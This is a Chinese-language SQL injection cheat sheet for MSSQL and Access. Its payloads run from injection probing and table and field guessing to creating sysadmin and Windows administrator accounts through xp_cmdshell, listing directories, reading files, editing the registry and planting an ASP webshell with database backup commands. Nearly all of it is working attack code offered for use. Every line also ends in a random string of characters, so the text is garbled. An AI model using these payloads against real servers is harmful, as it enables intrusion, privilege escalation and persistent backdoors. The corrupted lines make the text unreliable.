1.判断是否有注入;and 1=1 ;and 1=2 #x6EZnG
2.初步判断是否是mssql ;and user>0 uN=f(-"
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3.注入参数是字符'and [查询条件] and ''=' vDIsawbHD
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' `$MO;Fv,G
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5.判断数据库系统 ?_d3|]N
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;and (select count(*) from sysobjects)>0 mssql 6a704l%#hb
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;and (select count(*) from msysobjects)>0 access tB`IBuy9!"
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 0j2mTF(C
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Te `MIR
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 LRR)T: e}q
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9.(1)猜字段的ascii值(access) (
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 WidLUv
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(2)猜字段的ascii值(mssql) j_.tg7X
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 CIVV"p`}
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10.测试权限结构(mssql) g"N&*V2
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- BKV:U\QZ
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- d4) 0G-|
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- p^w_-(p
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- b#*"eZj
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- K1w:JA6(
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- $h[Q}uW
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;and 1=(select IS_MEMBER('db_owner'));-- hW` o-'
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11.添加mssql和系统的帐户 UgD)O:xaU
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;exec master.dbo.sp_addlogin username;-- fOdX2{7m
;exec master.dbo.sp_password null,username,password;-- 7d/I"?=|rA
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- %~M#3Ywa
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;exec master.dbo.xp_cmdshell 'net user username password .*Z#;3
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- :m36{#
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 1k`gr&S
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- DPCQqV |7
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12.(1)遍历目录 RY1-Zjlb<
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;create table dirs(paths varchar(100), id int) _w2KUvG-8
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;insert dirs exec master.dbo.xp_dirtree 'c:\' DcG=u24Xy!
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;and (select top 1 paths from dirs)>0 Y~w1_>b
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $LG.rJ/*
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(2)遍历目录 B5+$VQ
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- v^;vH$B
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 sXtt$HID=
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 h>p,r\X
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 MHGaf`7ro
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 5bd4]1gj
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13.mssql中的存储过程 f0YBy<a
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xp_regenumvalues 注册表根键, 子键 r?dkE=B
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 16Jjf|]j
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xp_regread 根键,子键,键值名 gZ-:4G|J
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 C
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xp_regwrite 根键,子键, 值名, 值类型, 值 rDu?XJA
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ggpa!R
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 d*=qqe
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xp_regdeletevalue 根键,子键,值名 'Mhnu2d
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 = )4bf"~8
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Cv/3-&5S
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14.mssql的backup创建webshell .'4@Yp{=
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use model Z-M4J;J@}
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create table cmd(str image); lTFo#p_(
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insert into cmd(str) values (''); [4@@b"H
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backup database model to disk='c:\l.asp'; f#hmMa
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15.mssql内置函数 lE*.9T
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;and (select @@version)>0 获得Windows的版本号 KXUJ*l-5
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Q8]S6,pt
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;and (select user_name())>0 爆当前系统的连接用户 pW>.3pj
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;and (select db_name())>0 得到当前连接的数据库 @V+KL>Qw
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16.简洁的webshell 7t78=wpLc
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use model P(3$XMx
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create table cmd(str image); };*&;GFe
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insert into cmd(str) values (''); 5RY rAzQo
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backup database model to disk='g:\wwwtest\l.asp';